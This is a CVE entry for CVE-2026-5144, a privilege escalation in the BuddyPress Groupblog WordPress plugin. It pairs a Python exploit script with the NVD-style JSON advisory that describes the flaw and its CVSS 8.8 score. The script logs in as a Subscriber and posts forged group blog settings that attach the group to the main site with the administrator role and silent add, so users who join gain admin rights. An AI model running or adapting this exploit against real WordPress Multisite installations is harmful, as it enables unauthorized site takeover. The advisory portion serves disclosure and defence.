CVE-2026-5144

import requests # Target configuration target_url = "http://example.com/groups/{group_id}/admin/group-blog/" # Hypothetical endpoint login_url = "http://example.com/wp-login.php" # Credentials for a low-privileged user (Subscriber) username = "attacker" password = "password" def exploit(): session = requests.Session() # 1. Login payload_login = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In" } session.post(login_url, data=payload_login) # 2. Send exploit payload to group blog settings # Note: The attacker must be the admin of the group specified by group_id exploit_payload = { "groupblog-blogid": "1", # Target the main site "default-member": "administrator", # Inject Administrator role "groupblog-silent-add": "1" # Enable silent add } response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Any user joining this group will now be added as an Administrator to the main site.") else: print("[-] Failed to send payload.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-5144", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:02.633", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BuddyPress Groupblog plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.3. This is due to the group blog settings handler accepting the `groupblog-blogid`, `default-member`, and `groupblog-silent-add` parameters from user input without proper authorization checks. The `groupblog-blogid` parameter allows any group admin (including Subscribers who create their own group) to associate their group with any blog on the Multisite network, including the main site (blog ID 1). The `default-member` parameter accepts any WordPress role, including `administrator`, without validation against a whitelist. When combined with `groupblog-silent-add`, any user who joins the attacker's group is automatically added to the targeted blog with the injected role. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate any user (including themselves via a second account) to Administrator on the main site of the Multisite network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://github.com/boonebgorges/bp-groupblog/commit/b824593add9e2c53ef4f0d2e0824d4de0785411f", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bp-groupblog/tags/1.9.3/bp-groupblog.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bp-groupblog/tags/1.9.3/bp-groupblog.php#L220", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bp-groupblog/tags/1.9.3/bp-groupblog.php#L450", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bp-groupblog/trunk/bp-groupblog.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bp-groupblog/trunk/bp-groupblog.php#L220", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/bp-groupblog/trunk/bp-groupblog.php#L450", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8129046a-5aa5-4644-babc-0eca9aa524d2?source=cve", "source": "[email protected]"}]}}